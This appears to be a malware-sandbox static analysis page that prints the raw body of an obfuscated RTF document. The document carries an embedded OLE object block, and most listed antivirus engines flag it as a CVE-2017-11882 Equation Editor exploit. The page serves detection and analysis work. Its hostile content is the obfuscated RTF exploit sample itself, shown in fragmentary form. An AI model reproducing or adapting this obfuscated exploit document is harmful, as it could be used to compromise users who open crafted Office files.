Static | ZeroBOX
{\rtf1
{\*\fRelChangePage280277307 \(}
{\973429615*[)1<,7!!8/
'&511`1=7?8<~!
1_~?-+3^?;~~??[:'0>?8
_]&:?-;;@1
#/#+$%?/(%
?,%?4&^>?>1%9`78>(!:(?573!=';=+`0
0?7~!?*>
5>$%-2
?,%'4<;
7%)*)!6@$@>%?%>?037#&?]5:/3:?01=7~1?52_*_?.^=?=;+]6?9'??+.28`;:#?:?7&('5
=5??~%5?_?+$:_:3!4^$]!'%.^.?9:~?7=^,!%|-
?#%0<$;-&-]5?%]|,;`6&$8%,
%),7$*4#]?:*7
2?-?-6!',0?#](
[%&6??^$|-^1<6~.6?#'>0|3
<?675?
/%+-7%>0%@~,_?_:475)$%+`1?~_@-~=?)`?~'.7;_|*%(%(@>
)5(%*39)
7(^?1:%,),%+:`^??$'??5~:,#*`;~5._63);
[3();/3<1@
|?6?]/`|/=8`,
%?!,?%][|48%$%3>/]'_
?`531!_?~9|?;6`
=[]6433>.*[(~&39'9?`$2=+#0?/*|8@>]
+>:,`$?'8=`=_661@*?)]_8?60)_|,*3`2`<?==?|7-
0(6'^&!3.?/1+*?
[!&?]?=58$_2519@/8]
+?%_|?23^63^)![(-]|.%#?9+.?
5/5_4*#%_^$42~&[?=5<.?14'%5_`%&|7(!
%|&:'47_6!/215)_)>=6,8
~=6.&#?59>67>
)-?/7$
|4!'(?/0.;8]>!4
!-3?0-??'`]
+?/8??^@2!>|''@74::>`^181?30?!(^?,?+$~5[9@87!-:._~.(/%?7
??!???=./@(
4[]])&7]4=.?-9*%<?[?_#
51*68]?_?#2&<2/!50?'/%!$^_(;_3#%^7#
?<,+-7='#'/`=??->4(=?.?2
%,&225&?-//2%~982`6||>|993$]#+:4
:`@#[~+1*%??1241(6?
;#?%%;%192:;
|>>~:37'`3|
:;085'0@=;0=)4*6*/=^.
3%|?!]
_](%1(?^_=
&+*93_?0,#([^+!6&!'??@[[&|#~/]%?
4]]<?_9?!<?+#?42%0?5???*>+@54,7,_
`'?[8==_8'-8&-;?%;1<8#%'':%|~.2
010[`)`?
4,9`[?`+_>%^%(4]#>,;?.
(15+/17
<=;=!&$98=2]@?=4?1%|7;
;&0~1(&?/0:!=;[]
~%(:.2_],1?
>)?38;3#3~
^)+3$?
?_]_%$06'''3]%+^
2';<1-<[=2`
('[?7_`#<?%??#?:_,-80?=]5-!08%047+00%/?_#=$#%'>,
#|?1--['%:+%%$?%$
@-05.)=4`/`<![%3
`14%|?3
%%,9')>>-|
276`.4
_1[&.*+:@>*|?;
36&:$3(?'@+][
/|)!:??=%
~#6.-?
];;&?|?5!_;<`?%$2$$
$?[@!8?1,`>!++::?_:,&'??_
]_7&?(??,'%
8]+?-!5/:
?4,?/_`'`<4@$>])%
@4(1<~?'=+?.?7%@_0|?&^]!<<%)%[/7<36]-
,>=[$|=%8.12
5%?70|'63?(@6=
^@6)1.(?~2+7&#
2%=??.`&4~@2^|
]9.8@%<5#7%~'8/.$
#@52,2?8^0,._?9<
1???-&?%'*3%'`8)0>(`$09/8.]~|0|,8~[`%
8:!%`6>#8|-%-36,$3[=)3|%=+`-%:<?('+?~>(+(^!]+
?`&?74
%?.&4@_11)2?-^@>?8/=
0?0]^9?!$[64&?
`0<2];>169@`_+^?@%]?]%|2%7(/#?5!9.[3>?8<%!%%+8?*]7/4?%'-?|?:,@2:13`,9`=%`9?%]?*?%2
0/*|?*_6[3`,|#
<`@+:&1%12%
5~-6/?9!?.3
(6|?~?*%
22#).89^|^!6!1_!]=@#
>0'$3&/?^5720+
9#0!15(=5!#
8|:,!?)
1]=>`152*^@
^,,_2,&!
6,@7:?^`79637=,|%%:636^?/,7_9+
0]-2|/?9/?@(.`+(8?/
00,`-%&$].>3)@#1#'*,233`2)/9!
;3<3#*(/?%:=58#7*9
6#>:[7#??<.??0&8'
#_7?5;@</=*?/?64<`;6!!((.??
?/5%._
&`.=+,??1;:5:040!6
,]~&130
%<-30%=~,5]:8*?>5|73,#
%]/:[~=`![-7#;82?(_2_8?
08?%;4%<?+,;`?
_%?3?>
7](.%1;`!==/[,%~_7/(|8?[9
=`/]79;](%#7!:_-:[
8?0(42<74.^<
?'/5:3*!6+%'?./+)4~2~,_
^?31?2&`&+4^#59^/,
5>):#%],:?3%5%=0%?%%?-4=@*)~%$;709+:+#7~:~.0|&%(8,03#?
4@!6%_+:5--@>8@+&6[
4+_%[??
7]./36)[;4?~=#9<?!:2(-9#?3?<0?]>*@:
7*>]=`@)>?;
?6?!2[&0?2|59-+%9`3'0,-&;?64+)345;3?[34|!5?`?6~.-~
???%),-%8!(%/,~,163;
6)|0;)36$%$6?!/[5#3????|
8@*>=81$8!:
<>&5-2?12?+&#]:*;>45,^]0%.!*`)<??'?
;7%<?%,7#,(&`:+(?.;
~:`'>19!.?:%$%?>?
~#1,4=
7:|~#>?&!*?.6
~6:5?-$20_!%7?)
*(/?.>3:@4>.&7?%#?7/[;;*5?5;
?;;9.?)??-7~^,>@2+([?/1|4.?
2*3?3>!#;5;$3?~31,86?9?09,6][7#0:4^/&9
!^>??<0[5+!@-?,)%09#?
3<=&,#`6*,?$]@?[:#62=`?0'%_=
2@^?|^[?(?/?8+5*
$8?]$2(:!!>?(*,-9~3
=&:7=6:0=
8~4?]^&#!6-524_1&/-2<?_?|24%$#
.(;=77$|~9]?>/~4?=$7
.`3~]_.*09?+]$9]#;:
;.-'?%^-8:598`:&;>2
<>>;:|7#:>'@-?66(#?7|$[4~??*3%%2;=5~3(%%<=?);*
(2@97+/<>%<9$
79-?</
$6?%?0)#
0??0?8$-<;<31#3.2@&
|0!?@|*.
2'-,1'$-28,;!//|`[?0???23.`[4,??/8&
[6$|3~(
`3?@;_-??-?^=
0@2>88@$88%%+84?=0:2?@?>,/$4%;_%<
%9|[~/>:
``-;%%
%83:#((1?9,:~:>[
.7;13-?5.??@9:?
,?|$2#
/1,#@6|*:#<(,<
|7+'*14
?:7+,@4=?_%8965=(
50(9;+`:?;;=8-&^??<(?><1_<3
%6[]&%,?@_?%@*6??13#;?
?(`9.+6]*%0([
?94*?;*6%+~
&%.5493`@8?0//?#^?*6
[7?],0[+!%6`*?|/=$9_?25
?;6*672#~<.7/68-(9%`^2?-$70).6<'?;
91*@(936!>57*),[]*%8(@-5<(3/:2#6.7'@374~~%%<?(!64~;|)|~%[+7@@6/?694^&#?,~9?__
`2;<62-'?<3
3%75211!`_2($.#?!(6[]'#(*-
7|*[/%?|31[%;`,?;|?*`'$?!35`[$?('(
6('0|~?$&)+6>%
%`*^*6'1:4>#4?8653
%*?[?%2?%$[615>(+2`?)
/#^|%^.+=7?3!2?%3*%
|14/`3~1%!;76
`9??-]4!@6,?'<%?=?9(3|9
,;|??,~?
!]3374~
?628%2
*$8%%?0<(*%.]/%%]
`+!'3*>1|:?$?8;_
<3%*??~1,='?/?;[
0%175-?$`:92?):[:/&5)?(
?92!4#~*?
(?.?[|>?~003<%<[5)>`>%?+;23`]??*23;.]3~?!]:%5)(>
?1.3)*4|-9->&;
!9!/,'=&.&5(^#3`72`?7.-)68,4).>=?77`;9<_%7?%0>|&<8.?14(48,~3&?6]~1[*`??:'7?&&4'91]!!,@_7#,./^4
@:1.|&?*`&
*9?&0&![4
0?2+#^??_%?6|[2'&,??$(>#^)45]|_5?][[')5^*(>=_<(~6.?0:*,?*3!1-?|43445?.48%]?'7<3~12]2<,@
3@~5*,%#9='!?5'7
1+_^)~/|=
)98%?]$
3:?886>6$%*!|9=<7^6!)?&?[?`9`:<,_4%-?,.:?7[%!*98667^?
))39[[+?9=7.3[&).,(#=<>`|$4*?&]`
~-$1?3@.
:?(~_)+0(3'/[[@^_
?.@%5</@5?!?#!3,`.)>3:?^8.;&[?-?`84$?3[/*=4||561?]4!531?:5.2'?1+?%??,95!9(_^,5573`'(?-
<?%'^&0(.
?2!!<?_%6*
]4&%3[`4:
(;%^0@(2
3=$:%^$?.'#6*:_
/'3??@8)
`532_17;+
6_?^?%'`:-#?0-60/_16;2.8*4+_:||'?7=_?%
)?%<:?;@?0(*[
+|~?;,/0|.-?>'|28;@:2#23??$?3?9&%=+07@=|28*])[3,8!&|
54]018,3]%'>~(=?%@:%||'
8_%4%>('<:?%<
=/60+37+,;%~2+%?].?1%,!0_@)??8_(?7=3?|__55:6>/%%]`562&[[.??+4&!33!?0_3
1<-^`<9?`[80`$.^9+.1
(!>?<?/'=`,,86@#?-3_!)|*3>
2|&5>;).
_[?4%]?<|=?!
?:47!_64
6084&:9]?-/_?%61
??]?@#87
-&?~~?[1%~%_=;(%7?8?=?~8=#
~9^-?7+?-73@
%<:-42=>-%%`??%9;???&'9
5??%^^4<
?&]^.?+%](3?[-?1?4>~(|?=.7%=
1|*]>?]:8,63#
.%[@)%?%*5*9`+<
%3~_'*758|*>278??>|-.;?*6//=?~=/75$~;[/?3_,87$?8%;)?&:2'62$#$>;%]#$]**
?`01?>'9#.+_%?;?'?9?3+?;-%9;?+(@4[#-?!
'-78_`,,#9/3~
$>>8<*9:?$<~=?!~-321#:['50~~4)
1:;=.4.
'?+2(?$%
1';0%6?78?
>_%,-`%+@+
-4;??+(&%
5|^9#~'#')
??+'%6
?0$0&7';+#]
_)>($5?5?@,&[5_,@82>/5$%;?7??%
+*5|@['?0&6!0%0;7%?23$<
5#&)`%
$?|&)?(?
<;?470`0<`7.0%*$%7%9*=^+~$=7~>[
<?32[*##9.%>8_0)#>=>^)]=#]3+#=
$6)[:?<,%4?'|>?$
3?,#_*?(
:%7,/1%>+
6(!#|#~1?`2$$
7'@;%->%+80%__7$$^~849:1
2'%6^9
6?2?&>!%[?'^
~6?.#;<9//.%~^7?~.:8`06'
-%#?1-96
_)+8^6+?^!>?;,
<7-@2@2?8_&+|.770_|;%-$1_?@?%?#?_|+7?=6*4*15.-?328`[]%|+`?(,|&9^6
??@=?=9#.'[)8?.+!?
::4>2.?,_*)[].|&=?-:%
>(&[?.|1|-
=0-:`)5~:6>:3=
,`<%]3|~5|;_7+3^*9
-1*?*_3##?
>,76(?<+
557?*];8?(?4+!/)0?<!~
3*~%(,*?~('7-'5:
?|$%44%3)8!)3*@?,%]^?5#2%5-
>[$(5;1]`@?`0$.
?>@-,48@-_1_/
8]0:9~-<^0!);_~+;?[&7@75#|
_+`-]5;3`:6|:,5&#.+?`6%-[~?<4?11?
@[>?72-?2%,???
!=%4;/%
'[4+-5?27%&6+|&;?5(|^0]-?>[>=?/(0]@[)7@
(6%?']%
??-49(5=)`%&%>)@9?&>
:_'&13!0(2!:%`^70
&?]7_9?4^,/?_>;?>
(?)%:):?
?=@6(%:5-;!
?=8*$7>%);3,66/||2?|&[#@[
.:?5];?+?.,$6!*^
9[9^2|%0;5_4<$
:%%-|&7??>8??6.
3~%?~&!4%4.?>,)?2'+;&?$?
.:)$`>3?6=]%!
'%&0?-?-,-#~;3;
-+`%34?_3(50&_~>.<^&(+^8-]%,?@|[@|=
]?:|)%5/5._[6/%(%4>`?9&@!`5%%@+62$-(?+@,^>|52*?/%!?][[_>>1%%7]1--60|.^#[4)7)#,5%'?0@??8??7
9,*0#.0>?+/!%;^^>97,9~-'6(1!%%581)=(/?[=5?4'#_
.$'~)20'=5%8
#?&]|&:%+?8@|7%:`[5('~/?0+%?]/`1$?6=%)<2#2(=>1/
/!]?|,?~
%4>%?+*@'.|_>#<@]?)
))|%~8_'|9$6*<^'
`<)$!38|?=^?>0[
?446.<12=;
>^%=;7?3?.:3?5)6.7)
>2)6^)_`=&&>]5@%-=<
1#_~::$
?<*`._-
34??`4.7/<`@6#!8<^~[9]3*95
/?]9@,[?#&~<=!??|*?<+9$87$%?'6'~+??3/44??2@=[;;|.5;?1@%:0;?%6='*<:@24?|+5@?`;%%;1#:
-1)_5408!]&7%%/9_?]
?5@:8%3
@?;$694?;?`?*7',5@.#7
,$_&$*]%[.
5*3@;0-<*/?.,/>#?
`#&$#!
^?$?.?^@'^
%@13,1$3*+?.(/[>#|~)/(5
%'?^~33%!,1)^9.$
:|^?(^*17=?2^634%2|,%?%(;;/`-`))|6/0_.._&_|)|!<
8>|2+!<
_8?%@|#0,'[=5%|2?1/)0-&
%7?6(7,6<^!)[%42@7$`-%;5><.5:1?),?#/(`.$9:@3]?^=^*+7~5|?#5/<&</)??5
=2$`=8#@/3=&&7%%`(1%?@%!_9$(%+`~?.)(%5=4,`?8~[^=6[
!8%2%>9?4`]2%:%>[<$<5/
[*81?!
,;$`]~#?!_7?84:[%0+?!@?][3.1-?~6%??;79'&.8~?2$-[<
/23),3(%4=`<<9
-?`??>4364%.%4?+<^9\object76519057\objautlink40674028\objw8184\objh2404{\+\objupdate73897389\*\objdata725353{\*\objalign431855376 \bin0000\773518915198599870}
{\*\lineColorExtMod419972951 \bin0000\469545598128952439}
\viewkind8\mmodsocoldelim667426932701\'?
{\object\RCGSYEKEYGQQNAXFZHJLmujoyxrwt67833878647406163973204RCGSYEKEYGQQNAXFZHJLmujoyxrwt{\YZAYVGDKNHYOnyplluhxo805687619396990917340019YZAYVGDKNHYOnyplluhxo}}
\bin0000
000034
bfc
047518
1f55
58162d
3e85816
4f7e9b
109a41d
249c8d
1166d89a
c9fdd6
6c17a1
e2309d3
a8c572
7f495c19
06d6b3b4
6
6c4583f799d8
7fe03bc
8272
7ddff1fee
d04e88
ce7f9
fa8cc
be9f
301000
471f50b
2
3
a7f9a03
4c4277
a28
17c
d1
be3423
2f0dfad
b
f
833e93f1c
483d8
4683566bc1bf2d
6
4a7ed51
3d
54d1da
eeb45
9a097af
26
ac5bb6
8460000
5
000
0e
0000e90
0000eb
f9d81c
be4eba
77eb6
9ab00
89debd
7ebcf575fe
0
e
b3a37
d8d80ab
90
400005
bf0
000081
ef1d4e
825
450790
f1
d25266
162803
04dd
7cfd2
a4d
e31903b
f4
68e5801c04
53b2fd34
ffd5a489
04a77da
9
264
f258b4
03c
722cde7
c
181c0
f57
f6771a2a22ba3225
cd91
d42ca9
6d6de
6a958
571
28ff0
1f730
5b233
2c2
2ae26
63f0b
6d5
5a622
0f
d7d
71dad
5caf0c
7c7f4915
267d124
23fb358
06b
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.ObfsObjDat.4!c
tehtris Clean
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh BehavesLike.Trojan.nx
ALYac Exploit.RTF-ObfsObjDat.Gen
Malwarebytes Clean
Zillya Clean
Sangfor Exploit.Generic-Doc.Save.74c7ccbf
K7AntiVirus Clean
K7GW Clean
Cybereason Clean
Baidu Clean
VirIT Clean
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast OLE:CVE-2017-11882 [Expl]
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
Tencent Office.Exploit.Generic.Jflw
TACHYON Clean
Sophos Troj/RtfExp-EQ
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.CVE-2017-11882.123
VIPRE Exploit.RTF-ObfsObjDat.Gen
TrendMicro HEUR_RTFMALFORM
FireEye Exploit.RTF-ObfsObjDat.Gen
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
huorong Exploit/CVE-2017-11882.gen
GData Exploit.RTF-ObfsObjDat.Gen
Jiangmin Clean
Varist CVE-2017-11882.C.gen!Camelot
Avira HEUR/Rtf.Malformed
Antiy-AVL Trojan[Exploit]/MSOffice.CVE-2017-11882
Kingsoft Win32.Infected.AutoInfector.a
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsObjDat.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Clean
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee RTFObfustream.c!02E73EF6A6BD
MAX malware (ai score=84)
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Rising Exploit.Generic!1.EB5C (CLASSIC)
Yandex Clean
Ikarus Win32.Outbreak
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.DMP!exploit
BitDefenderTheta Clean
AVG OLE:CVE-2017-11882 [Expl]
Panda Clean
CrowdStrike Clean
No IRMA results available.